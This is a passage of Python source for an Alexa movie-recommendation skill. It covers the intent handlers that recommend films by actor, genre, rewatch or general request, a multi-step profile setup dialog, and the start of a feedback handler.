SENTENCE_NO_RECOMMENDATION_FOUND.format(\"new\")\n                        prompt_output = PROMPT_TRY_AGAIN\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                \n            else:\n                speak_output = SENTENCE_FEEDBACK_BEFORE_RECOMMENDATION.format(get_last_watched_movie_by_id(userID))\n                responseBuilder.speak(speak_output).add_directive(DELDIR_FEEDBACK)\n            \n        \n        elif request.dialog_state == DialogState.IN_PROGRESS: #confirmation given for recommendation\n            resolution = slot_confirmation.resolutions.resolutions_per_authority[0]\n            \n            if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                resolvedSlotName = resolution.values[0].value.name\n                inputVal = resolvedSlotName\n                slot_confirmation.value = inputVal\n                if inputVal == RECOMMENDATION_ACCEPTED:\n                    responseBuilder.add_directive(DelegateDirective(intent))\n                elif inputVal == RECOMMENDATION_REJECTED:\n                    rec = recommendationSentenceFromActressInput(userID, slot_actor.value)\n                    if rec['success']:\n                        speak_output = SENTENCE_ANOTHER_RECOMMENDATION\n                        prompt_output = PROMPT_ANOTHER_RECOMMENDATION+rec['sentence']+\" \"+PROMPT_RECOMMENDATION_CONFIRMATION\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n                    else:\n                        speak_output = SENTENCE_NO_RECOMMENDATION_FOUND.format(\"new\")\n                        prompt_output = PROMPT_TRY_AGAIN\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                    \n                else: #We're told to cancel/stop\n                    speak_output = SENTENCE_CANCELED\n                    responseBuilder.speak(speak_output).add_directive(DelegateDirective(Intent(\n                        name=\"AMAZON.CancelIntent\"\n                    )))\n            else:\n                speak_output = SENTENCE_DID_NOT_UNDERSTAND\n                prompt_output = PROMPT_RECOMMENDATION_CONFIRMATION\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n            \n        else: #request.dialog_state == DialogState.COMPLETED; we have a green light on the recommendation at this point\n            acceptRecommendation(userID)\n            speak_output = SENTENCE_RECOMMENDATION_ACCEPTED\n            responseBuilder.speak(speak_output)\n        \n        return responseBuilder.response\n\n\nclass RecommendationByGenreIntentHandler(AbstractRequestHandler):\n    \"\"\"Handler for Recommendation by Genre Intent.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_intent_name(\"recommendationIntent_byGenre\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        request = handler_input.request_envelope.request\n        intent = request.intent\n        responseBuilder = handler_input.response_builder\n        sessionAttribs = handler_input.attributes_manager.session_attributes\n        \n        userID = handler_input.request_envelope.context.system.user.user_id\n        slot_genre = intent.slots[\"genre\"]\n        slot_confirmation = intent.slots[\"recommendationOK\"]\n        \n        if request.dialog_state == DialogState.STARTED or slot_genre.value is None:\n            if is_last_watched_movie_rated_by_id(userID):\n                \n                #resolve \"my favorite genre\" if necessary\n                resolution = slot_genre.resolutions.resolutions_per_authority[0]\n                if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                    resolvedSlotID = resolution.values[0].value.id\n                    resolvedSlotName = resolution.values[0].value.name\n                    if resolvedSlotID == \"FAV\":\n                        slot_genre.value = get_liked_genre_by_id(userID)\n                    else:\n                        slot_genre.value = resolvedSlotName\n                    \n                    rec = recommendationSentenceFromGenreInput(userID, slot_genre.value)\n                    if rec['success']:\n                        speak_output = rec['sentence']\n                        responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n                    else:\n                        speak_output = SENTENCE_NO_RECOMMENDATION_FOUND.format(\"new\")\n                        prompt_output = PROMPT_TRY_AGAIN\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                    \n                else:\n                    speak_output = SENTENCE_GENRE_NOT_FOUND.format(slot_genre.value)\n                    prompt_output = PROMPT_GENRE_NOT_FOUND\n                    responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"genre\"))\n                \n            else:\n                speak_output = SENTENCE_FEEDBACK_BEFORE_RECOMMENDATION.format(get_last_watched_movie_by_id(userID))\n                responseBuilder.speak(speak_output).add_directive(DELDIR_FEEDBACK)\n            \n        \n        elif request.dialog_state == DialogState.IN_PROGRESS: #confirmation given for recommendation\n            resolution = slot_confirmation.resolutions.resolutions_per_authority[0]\n            \n            if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                resolvedSlotName = resolution.values[0].value.name\n                inputVal = resolvedSlotName\n                slot_confirmation.value = inputVal\n                if inputVal == RECOMMENDATION_ACCEPTED:\n                    responseBuilder.add_directive(DelegateDirective(intent))\n                elif inputVal == RECOMMENDATION_REJECTED:\n                    rec = recommendationSentenceFromGenreInput(userID, slot_genre.value)\n                    if rec['success']:\n                        speak_output = SENTENCE_ANOTHER_RECOMMENDATION\n                        prompt_output = PROMPT_ANOTHER_RECOMMENDATION+rec['sentence']+\" \"+PROMPT_RECOMMENDATION_CONFIRMATION\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n                    else:\n                        speak_output = SENTENCE_NO_RECOMMENDATION_FOUND.format(\"new\")\n                        prompt_output = PROMPT_TRY_AGAIN\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                    \n                else: #We're told to cancel/stop\n                    speak_output = SENTENCE_CANCELED\n                    responseBuilder.speak(speak_output).add_directive(DelegateDirective(Intent(\n                        name=\"AMAZON.CancelIntent\"\n                    )))\n            else:\n                speak_output = SENTENCE_DID_NOT_UNDERSTAND\n                prompt_output = PROMPT_RECOMMENDATION_CONFIRMATION\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n            \n        else: #request.dialog_state == DialogState.COMPLETED; we have a green light on the recommendation at this point\n            acceptRecommendation(userID)\n            speak_output = SENTENCE_RECOMMENDATION_ACCEPTED\n            responseBuilder.speak(speak_output)\n        \n        return responseBuilder.response\n\n\n\nclass RecommendationRewatchIntentHandler(AbstractRequestHandler):\n    \"\"\"Handler for Recommendation Rewatch Intent.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_intent_name(\"recommendationIntent_rewatch\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        request = handler_input.request_envelope.request\n        intent = request.intent\n        responseBuilder = handler_input.response_builder\n        sessionAttribs = handler_input.attributes_manager.session_attributes\n        \n        userID = handler_input.request_envelope.context.system.user.user_id\n        slot_confirmation = intent.slots[\"recommendationOK\"]\n        \n        if request.dialog_state == DialogState.STARTED: #\"recommend a rewatch\"/...\n            if is_last_watched_movie_rated_by_id(userID):\n                prevRecommendations = get_recommended_movies_by_id(userID)\n                if prevRecommendations and len(prevRecommendations[0]): #check if we have recommendations at all\n                    rec = recommendationSentenceFromAgain(userID)\n                    if rec['success']:\n                        speak_output = rec['sentence']\n                        responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n                    else:\n                        speak_output = SENTENCE_NO_RECOMMENDATION_FOUND.format(\"rewatch\")\n                        prompt_output = PROMPT_TRY_AGAIN\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                else:\n                    speak_output = \"Sorry, I don't have any previously accepted recommendations for you in my database that I could recommend again. Try using this feature again once you have accepted some new recommendations of mine. \"\n                    prompt_output = \"In the meantime... \"+PROMPT_TRY_AGAIN\n                    responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                \n            else:\n                speak_output = SENTENCE_FEEDBACK_BEFORE_RECOMMENDATION.format(get_last_watched_movie_by_id(userID))\n                responseBuilder.speak(speak_output).add_directive(DELDIR_FEEDBACK)\n            \n        elif request.dialog_state == DialogState.IN_PROGRESS: #confirmation given for recommendation\n            resolution = slot_confirmation.resolutions.resolutions_per_authority[0]\n            \n            if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                resolvedSlotName = resolution.values[0].value.name\n                inputVal = resolvedSlotName\n                slot_confirmation.value = inputVal\n                if inputVal == RECOMMENDATION_ACCEPTED:\n                    responseBuilder.add_directive(DelegateDirective(intent))\n                elif inputVal == RECOMMENDATION_REJECTED:\n                    rec = recommendationSentenceFromAgain(userID)\n                    if rec['success']:\n                        speak_output = SENTENCE_ANOTHER_RECOMMENDATION\n                        prompt_output = PROMPT_ANOTHER_RECOMMENDATION+rec['sentence']+\" \"+PROMPT_RECOMMENDATION_CONFIRMATION\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n                    else:\n                        speak_output = SENTENCE_NO_RECOMMENDATION_FOUND.format(\"new rewatch\")\n                        prompt_output = PROMPT_TRY_AGAIN\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                    \n                else: #We're told to cancel/stop\n                    speak_output = SENTENCE_CANCELED\n                    responseBuilder.speak(speak_output).add_directive(DelegateDirective(Intent(\n                        name=\"AMAZON.CancelIntent\"\n                    )))\n            else:\n                speak_output = SENTENCE_DID_NOT_UNDERSTAND\n                prompt_output = PROMPT_RECOMMENDATION_CONFIRMATION\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n            \n        else: #request.dialog_state == DialogState.COMPLETED; we have a green light on the recommendation at this point\n            acceptRecommendation(userID)\n            speak_output = SENTENCE_RECOMMENDATION_ACCEPTED\n            responseBuilder.speak(speak_output)\n            \n            \n        return responseBuilder.response\n\nclass RecommendationIntentHandler(AbstractRequestHandler):\n    \"\"\"Handler for Recommendation Intent.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_intent_name(\"recommendationIntent\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        request = handler_input.request_envelope.request\n        intent = request.intent\n        responseBuilder = handler_input.response_builder\n        sessionAttribs = handler_input.attributes_manager.session_attributes\n        \n        userID = handler_input.request_envelope.context.system.user.user_id\n        slot_confirmation = intent.slots[\"recommendationOK\"]\n        \n        if request.dialog_state == DialogState.STARTED: #\"i want to watch something\"/...\n            if is_last_watched_movie_rated_by_id(userID):\n                #####\n                rec = generalRecommendation(userID)\n                if rec['success']:\n                    speak_output = rec['sentence']\n                    responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n                else:\n                    speak_output = SENTENCE_NO_RECOMMENDATION_FOUND.format(\"new\")\n                    prompt_output = PROMPT_TRY_AGAIN\n                    responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                \n            else:\n                speak_output = SENTENCE_FEEDBACK_BEFORE_RECOMMENDATION.format(get_last_watched_movie_by_id(userID))\n                responseBuilder.speak(speak_output).add_directive(DELDIR_FEEDBACK)\n            \n        elif request.dialog_state == DialogState.IN_PROGRESS: #confirmation given for recommendation\n            resolution = slot_confirmation.resolutions.resolutions_per_authority[0]\n            \n            if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                resolvedSlotName = resolution.values[0].value.name\n                inputVal = resolvedSlotName\n                slot_confirmation.value = inputVal\n                if inputVal == RECOMMENDATION_ACCEPTED:\n                    responseBuilder.add_directive(DelegateDirective(intent))\n                elif inputVal == RECOMMENDATION_REJECTED:\n                    rec = generalRecommendation(userID)\n                    if rec['success']:\n                        speak_output = SENTENCE_ANOTHER_RECOMMENDATION\n                        prompt_output = PROMPT_ANOTHER_RECOMMENDATION+rec['sentence']+\" \"+PROMPT_RECOMMENDATION_CONFIRMATION\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n                    else:\n                        speak_output = SENTENCE_NO_RECOMMENDATION_FOUND.format(\"new\")\n                        prompt_output = PROMPT_TRY_AGAIN\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                    \n                else: #We're told to cancel/stop\n                    speak_output = SENTENCE_CANCELED\n                    responseBuilder.speak(speak_output).add_directive(DelegateDirective(Intent(\n                        name=\"AMAZON.CancelIntent\"\n                    )))\n            else:\n                speak_output = SENTENCE_DID_NOT_UNDERSTAND\n                prompt_output = PROMPT_RECOMMENDATION_CONFIRMATION\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n            \n        else: #request.dialog_state == DialogState.COMPLETED; we have a green light on the recommendation at this point\n            acceptRecommendation(userID)\n            speak_output = SENTENCE_RECOMMENDATION_ACCEPTED\n            responseBuilder.speak(speak_output)\n            \n            \n        return responseBuilder.response\n\n\nclass SetupIntentHandler(AbstractRequestHandler):\n    \"\"\"Handler for Setup Profile Intent.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_intent_name(\"setupIntent\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        request = handler_input.request_envelope.request\n        intent = request.intent\n        responseBuilder = handler_input.response_builder\n        sessionAttribs = handler_input.attributes_manager.session_attributes\n        \n        #at least for now, we only consider streaming options in Germany and ignore the language version of the films on a given streamer\n        \n        slot_name = intent.slots[\"name\"]\n        slot_streamer = intent.slots[\"streamer\"]\n        slot_favMovie = intent.slots[\"favMovie\"]\n        slot_favActor = intent.slots[\"favActor\"]\n        slot_favGenre = intent.slots[\"favGenre\"]\n        slot_dislikedGenre = intent.slots[\"dislikedGenre\"]\n        slot_finalConfirmation = intent.slots[\"finalConfirmation\"]\n        \n        #check where we are in the dialog:\n        # 0 = no info given yet, need to get the name first\n        # 1 = name is given and to be processed, nothing else yet. Get the streamers.\n        # 2 = name (processed) and streamers (to be processed) are given, get the fav movie\n        # 3 = name, streamers (processed) and fav movie (to be processed) are given, get the fav actors\n        # 4 = name, streamers, fav movie (processed) and fav actors (to be processed) are given, get the liked genres\n        # 5 = name, streamers, fav movie, fav actors (processed) and liked genres (to be processed) are given, get the disliked genres\n        # 6 = name, streamers, fav movie, fav actors, liked genres (processed) and disliked genres (to be processed) are given, process the disliked genres\n        # 7 = we have all we need, so we can give some confirmation and move on.\n        \n        setupPhase = 0\n        if request.dialog_state == DialogState.STARTED:\n            if slot_name.value is None:\n                setupPhase = 0\n            else:\n                setupPhase = 1\n        elif request.dialog_state == DialogState.IN_PROGRESS:\n            if slot_streamer.value is None and slot_streamer.slot_value is None:\n                setupPhase = 1\n            elif slot_favMovie.value is None:\n                setupPhase = 2\n            elif slot_favActor.value is None:\n                setupPhase = 3\n            elif slot_favGenre.value is None:\n                setupPhase = 4\n            elif slot_dislikedGenre.value is None:\n                setupPhase = 5\n            elif slot_finalConfirmation.value is None:\n                setupPhase = 6\n            else:\n                setupPhase = 7\n        else: #request.dialog_state == DialogState.COMPLETED\n            setupPhase = 8\n        \n        #respond per phase:\n        if setupPhase == 0:\n            responseBuilder.add_directive(DelegateDirective())\n            \n        elif setupPhase == 1:\n            inputVal = slot_name.value\n            speak_output = \"Hi {}! \".format(inputVal)\n            responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n            \n        elif setupPhase == 2:\n            #try to resolve slot input\n            allInputs = []\n            resolvedInputs = []\n            if \"resolvedStreamers\" in sessionAttribs and sessionAttribs[\"resolvedStreamers\"] is not None:\n                resolvedInputs = list(sessionAttribs[\"resolvedStreamers\"])\n                sessionAttribs[\"resolvedStreamers\"] = None\n            currentUnresolved = {}\n            \n            if slot_streamer.slot_value.object_type == \"List\":\n                for v in slot_streamer.slot_value.values:\n                    allInputs.append(v)\n            else:\n                allInputs.append(slot_streamer.slot_value)\n            \n            for i in allInputs:\n                resolution = i.resolutions.resolutions_per_authority[0]\n                if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                    resolvedSlotName = resolution.values[0].value.name\n                    resolvedSlotID = resolution.values[0].value.id\n                    if resolvedSlotID in (\"ATV-X\", \"AMZ-X\", \"SKY-X\"):\n                        currentUnresolved = {\"id\": resolvedSlotID, \"value\": i.value}\n                        break\n                    else:\n                        resolvedInputs.append(resolvedSlotName)\n                else:# if i.value not in (\"the\", \"and\", \"also\"): #don't ask for stuff that we don't need but Alexa can't (always) filter out by itself\n                    currentUnresolved = {\"id\": \"\", \"value\": i.value}\n                    break\n            \n            stringifiedResolved = resolvedInputs and ((\", \".join(resolvedInputs[:-1])+\" and \"+resolvedInputs[-1], resolvedInputs[0])[len(resolvedInputs) == 1])\n            \n            if currentUnresolved:\n                #response part 1\n                if resolvedInputs:\n                    speak_output = \"I understood {}. But \".format(stringifiedResolved)\n                else:\n                    speak_output = \"Sorry, \"\n                    \n                #response part 2\n                if currentUnresolved[\"id\"] == \"ATV-X\":\n                    speak_output += \"I'm not sure about \"+currentUnresolved[\"value\"]+\". \"\n                    prompt_output = \"Do you mean Apple TV Plus or Apple iTunes, also known as Apple TV? \"\n                elif currentUnresolved[\"id\"] == \"AMZ-X\":\n                    speak_output += \"I'm not sure about \"+currentUnresolved[\"value\"]+\". \"\n                    prompt_output = \"Do you mean Amazon Prime Video or Amazon Video? \" #Alexa cuts \"Amazon\" as the first word out of slot inputs, because why the hell not. Should be avoidable e.g. if we preface it with one of the defined carrier phrases like \"I have ...\". To be safe we defined synonyms for the option without the leading \"Amazon\".\n                elif currentUnresolved[\"id\"] == \"SKY-X\":\n                    speak_output += \"I'm not sure about \"+currentUnresolved[\"value\"]+\". \"\n                    prompt_output = \"Do you mean Sky Ticket, Sky Go or the Sky Store? \"\n                else:\n                    speak_output += \"I don't recognize {} as a streaming service. \".format(currentUnresolved[\"value\"])\n                    prompt_output = \"Please try a platform that is available in Germany. \"\n                \n                #give the response\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"streamer\"))\n                #store the resolved values to pick up in the next go\n                sessionAttribs[\"resolvedStreamers\"] = resolvedInputs\n            else: #implies resolvedInputs is not empty\n                inputVal = stringifiedResolved\n                slot_streamer.value = \"|\".join(resolvedInputs) ###\n                speak_output = \"Great! you shall only receive films available on {} as recommendations. \".format(inputVal)\n                responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n                \n            \n            #resolution = slot_streamer.resolutions.resolutions_per_authority[0]\n            #\n            #if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n            #    resolvedSlotName = resolution.values[0].value.name\n            #    resolvedSlotID = resolution.values[0].value.id\n            #    if resolvedSlotID == \"ATV-X\":\n            #        prompt_output = \"Do you mean Apple TV Plus or Apple iTunes, also known as Apple TV? \"\n            #        responseBuilder.speak(prompt_output).ask(prompt_output).add_directive(esDir)\n            #    elif resolvedSlotID == \"AMZ-X\":\n            #        prompt_output = \"Do you mean Amazon Prime Video or Amazon Video? \" #Alexa cuts \"Amazon\" as the first word out of slot inputs, because why the hell not. Should be avoidable e.g. if we preface it with one of the defined carrier phrases like \"I have ...\". To be safe we defined synonyms for the option without the leading \"Amazon\".\n            #        responseBuilder.speak(prompt_output).ask(prompt_output).add_directive(esDir)\n            #    elif resolvedSlotID == \"SKY-X\":\n            #        prompt_output = \"Do you mean Sky Ticket, Sky Go or the Sky Store? \"\n            #        responseBuilder.speak(prompt_output).ask(prompt_output).add_directive(esDir)\n            #    else:\n            #        inputVal = resolvedSlotName\n            #        slot_streamer.value = inputVal\n            #        speak_output = \"Great! you shall only receive films available on {} as recommendations. \".format(inputVal)\n            #        responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n            #else:\n            #    speak_output = \"Sorry, I don't recognize {} as a streaming service. \".format(slot_streamer.value)\n            #    prompt_output = \"Please try a platform that is available in Germany. \"\n            #    responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(esDir)\n            \n        elif setupPhase == 3:\n            movieID = getMovieID(slot_favMovie.value)\n            movieName = getMovieName(movieID)\n            \n            if movieID == 0:\n                speak_output = SENTENCE_MOVIE_NOT_FOUND.format(slot_favMovie.value)\n                prompt_output = PROMPT_MOVIE_NOT_FOUND\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"favMovie\"))\n            else:\n                inputVal = movieName\n                slot_favMovie.value = inputVal\n                speak_output = \"Alright! I will try to recommend films similar to {}. \".format(inputVal)\n                responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n            \n        elif setupPhase == 4:\n            actorID = getActressId(slot_favActor.value)\n            actorName = getActressName(actorID)\n            if actorID == 0:\n                speak_output = SENTENCE_ACTOR_NOT_FOUND.format(slot_favActor.value)\n                prompt_output = PROMPT_ACTOR_NOT_FOUND\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"favActor\"))\n            else:\n                inputVal = actorName\n                slot_favActor.value = inputVal\n                speak_output = \"Okay, I will try to recommend films with {}. \".format(inputVal)\n                responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n            \n        elif setupPhase == 5:\n            resolution = slot_favGenre.resolutions.resolutions_per_authority[0]\n            \n            if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                resolvedSlotName = resolution.values[0].value.name\n                resolvedSlotID = resolution.values[0].value.id #this is already the API-ready genre ID\n                inputVal = resolvedSlotName\n                slot_favGenre.value = inputVal\n                if inputVal == \"TV Movie\": #edge case: We don't want to say \"more TV Movie movies\". Yes, this is unnecessary overengineering. No, I don't care.\n                    speak_output = \"Cool! I will try to recommend more TV Movies to you. \"\n                else:\n                    speak_output = \"Cool! I will try to recommend more {} movies to you. \".format(inputVal)\n                responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n            else:\n                speak_output = SENTENCE_GENRE_NOT_FOUND.format(slot_favGenre.value)\n                prompt_output = PROMPT_GENRE_NOT_FOUND\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"favGenre\"))\n            \n        elif setupPhase == 6:\n            resolution = slot_dislikedGenre.resolutions.resolutions_per_authority[0]\n            \n            if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                resolvedSlotName = resolution.values[0].value.name\n                resolvedSlotID = resolution.values[0].value.id #this is already the API-ready genre ID\n                inputVal = resolvedSlotName\n                slot_dislikedGenre.value = inputVal\n                if inputVal == \"TV Movie\": #same edge case handling as above\n                    speak_output = \"Good to know, I will try to keep TV Movies out of your recommendations. \"\n                else:\n                    speak_output = \"Good to know, I will try to keep {} films out of your recommendations. \".format(inputVal)\n                responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n            else:\n                speak_output = SENTENCE_GENRE_NOT_FOUND.format(slot_dislikedGenre.value)\n                prompt_output = PROMPT_GENRE_NOT_FOUND\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"dislikedGenre\"))\n            \n        elif setupPhase == 7:\n            resolution = slot_finalConfirmation.resolutions.resolutions_per_authority[0]\n            \n            if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                resolvedSlotName = resolution.values[0].value.name\n                inputVal = resolvedSlotName\n                slot_finalConfirmation.value = inputVal\n                responseBuilder.add_directive(DelegateDirective(intent))\n            else:\n                speak_output = SENTENCE_DID_NOT_UNDERSTAND\n                prompt_output = \"Please say Okay to save your profile or Stop to cancel.\"\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"finalConfirmation\"))\n                \n        else: #setupPhase == 8\n            #send everything to Firebase\n            #session attribs don't work because somehow the last one will only be available one intent call too late, so we wouldn't have the dislikedGenre here if stored via session attribs.\n            if slot_finalConfirmation.value == \"Okay\":\n                userID = handler_input.request_envelope.context.system.user.user_id\n                knownUser = check_user_exists_by_id(userID)\n                streamers = ([slot_streamer.value], slot_streamer.value.split(\"|\"))[\"|\" in slot_streamer.value]\n                if knownUser:\n                    u = User(slot_dislikedGenre.value, slot_favActor.value, slot_favMovie.value, userID, \"DE\", [get_last_watched_movie_by_id(userID), is_last_watched_movie_rated_by_id(userID)], slot_favGenre.value, slot_name.value, get_recommended_movies_by_id(userID), streamers, get_likings_by_id(userID), [\"\"])\n                else:\n                    u = User(slot_dislikedGenre.value, slot_favActor.value, slot_favMovie.value, userID, \"DE\", [\"\", True], slot_favGenre.value, slot_name.value, [\"\"], streamers, {'movie': 0, 'genre': 0, 'acting': 0}, [\"\"])\n                add_user(u)\n                speak_output = \"You're all set up! \"\n                if not knownUser:\n                    speak_output += \"To get an overview of what you can ask me, just say: Help.\"\n            else:\n                speak_output = \"Okay, I will not save your new data to your profile.\"\n            responseBuilder.speak(speak_output)\n            \n        return responseBuilder.response\n\n\nclass FeedbackIntentHandler(AbstractRequestHandler):\n    \"\"\"Handler for Feedback Intent.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_intent_name(\"feedbackIntent\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        request = handler_input.request_envelope.request\n        intent = request.intent\n        responseBuilder = handler_input.response_builder\n        sessionAttribs = handler_input.attributes_manager.session_attributes\n        \n        #for debugging the mess that is the Python ASK:\n        sessionAttribs[\"stringSlotPythonInput_feedbackAspects\"] = str(intent.slots[\"feedbackAspects\"]) # stringified version gives python-style attributes (slot_value instead of slotValue) and sets unset ones to None (those don't show up at all in the JSON version). hasattr seems to best map the stringified version.\n        sessionAttribs[\"stringSlotPythonInput_feedbackGeneral\"] = str(intent.slots[\"feedbackGeneral\"])\n        attribs = {\n            'slotValue': hasattr(intent.slots[\"feedbackAspects\"], 'slotValue'),\n            'slot_value': hasattr(intent.slots[\"feedbackAspects\"], 'slot_value')\n        }\n        if hasattr(intent.slots[\"feedbackAspects\"], 'slot_value') and intent.slots[\"feedbackAspects\"].slot_value is not None:\n            attribs['.slot_value.resolutions'] = hasattr(intent.slots[\"feedbackAspects\"].slot_value, 'resolutions')\n            if hasattr(intent.slots[\"feedbackAspects\"].slot_value, 'resolutions') and intent.slots[\"feedbackAspects\"].slot_value.resolutions is not None:\n                attribs['.slot_value.resolutions.resolutionsPerAuthority'] = hasattr(intent.slots[\"feedbackAspects\"].slot_value.resolutions, 'resolutionsPerAuthority')\n                attribs['.slot_value.resolutions.resolutions_per_authority'] = hasattr(intent.slots[\"feedbackAspects\"].slot_value.resolutions, 'resolutions_per_authority')\n                if hasattr(intent.slots[\"feedbackAspects\"].slot_value.resolutions, 'resolutions_per_authority'):\n                    attribs['.slot_value.resolutions.resolutions_per_authority[0]'] = str(intent.slots[\"feedbackAspects\"].slot_value.resolutions.resolutions_per_authority[0])\n            else:\n                attribs['.slot_value.resolutions.resolutionsPerAuthority'] = \"failed, no .slot_value.resolutions\"\n                attribs['.slot_value.resolutions.resolutions_per_authority'] = \"failed, no .slot_value.resolutions\"\n        else:\n            attribs['.slot_value.resolutions'] = \"failed, no .slot_value\"\n        sessionAttribs[\"feedbackAspectsAttribs\"] = attribs\n        \n        feedbackGeneralRaw = intent.slots[\"feedbackGeneral\"].value\n        \n        #if no aspect is given yet, .slotValue isn't there and .value is None... SOMETIMES. Other random times, .slot_value is there. OR .slotValue. Depending on Alexa's mood of the day. I want to speak to the manager, Sir!\n        #if one aspect is given, .value exists and .slotValue is:\n        #{'type': 'Simple','value': 'writing', 'resolutions': {\n        #    'resolutionsPerAuthority': [{'authority': '...', 'status': {'code': 'ER_SUCCESS_MATCH'}, 'values': [{'value': {'name': 'story', 'id': '...'}}]}]\n        #}}\n        #if multi are given, .value is None and .slotValue is:\n        #{'type': 'List', 'values': [\n        #    {'type': 'Simple', 'value': 'story', 'resolutions': {\n        #        'resolutionsPerAuthority': [{'authority': '...', 'status': {'code': 'ER_SUCCESS_MATCH'}, 'values': [{'value': {'name': 'story', 'id': '...'}}]}]\n        #    }},\n        #    {'type': 'Simple', 'value': 'score', 'resolutions': {\n        #        'resolutionsPerAuthority': [{'authority': '...', 'status': {'code': 'ER_SUCCESS_MATCH'}, 'values': [{'value': {'name': 'music', 'id': '...'}}]}]\n        #    }}\n        #]}\n        \n        if hasattr(intent.slots[\"feedbackAspects\"], 'slotValue'):\n            feedbackAspectsSyntaxIsMessedUpAgain = True #JS-style syntax\n            feedbackAspectsRaw = intent.slots[\"feedbackAspects\"].slotValue\n            if feedbackAspectsRaw is None:\n                feedbackAspectsIsGiven = False\n            else:\n                feedbackAspectsIsGiven = True\n                if feedbackAspectsRaw['type'] == 'List' or feedbackAspectsRaw['object_type'] == 'List':\n                    feedbackAspectsIsMulti = True\n                else: #feedbackAspectsRaw['type'] == 'Simple'\n                    feedbackAspectsIsMulti = False\n        elif hasattr(intent.slots[\"feedbackAspects\"], 'slot_value'):\n            feedbackAspectsSyntaxIsMessedUpAgain = False #python-style syntax\n            feedbackAspectsRaw = intent.slots[\"feedbackAspects\"].slot_value\n            if feedbackAspectsRaw is None:\n                feedbackAspectsIsGiven = False\n            else:\n                feedbackAspectsIsGiven = True\n                #feedbackAspectsRaw.type == 'List' does not work, because that would be too easy I guess.\n                if feedbackAspectsRaw.object_type == 'List':\n                    feedbackAspectsIsMulti = True\n                else: #feedbackAspectsRaw.object_type == 'Simple'\n                    feedbackAspectsIsMulti = False\n        else:\n            feedbackAspectsSyntaxIsMessedUpAgain = True\n            feedbackAspectsRaw = intent.slots[\"feedbackAspects\"].value\n            feedbackAspectsIsMulti = False\n            if feedbackAspectsRaw is None:\n                feedbackAspectsIsGiven = False\n            else:\n                feedbackAspectsIsGiven = True\n        \n        #check where we are in the feedback dialog:\n        # 0 = no info given yet, need to get feedbackGeneral first\n        # 1 = feedbackGeneral is given and to be processed, but we have yet to get feedbackAspects\n        # 2 = feedbackGeneral and feedbackAspects are given, feedbackAspects has yet to be processed\n        # 3 = we have all we need, so we can give some confirmation and move on.\n        feedbackPhase = 0\n        if request.dialog_state == DialogState.STARTED:\n            if 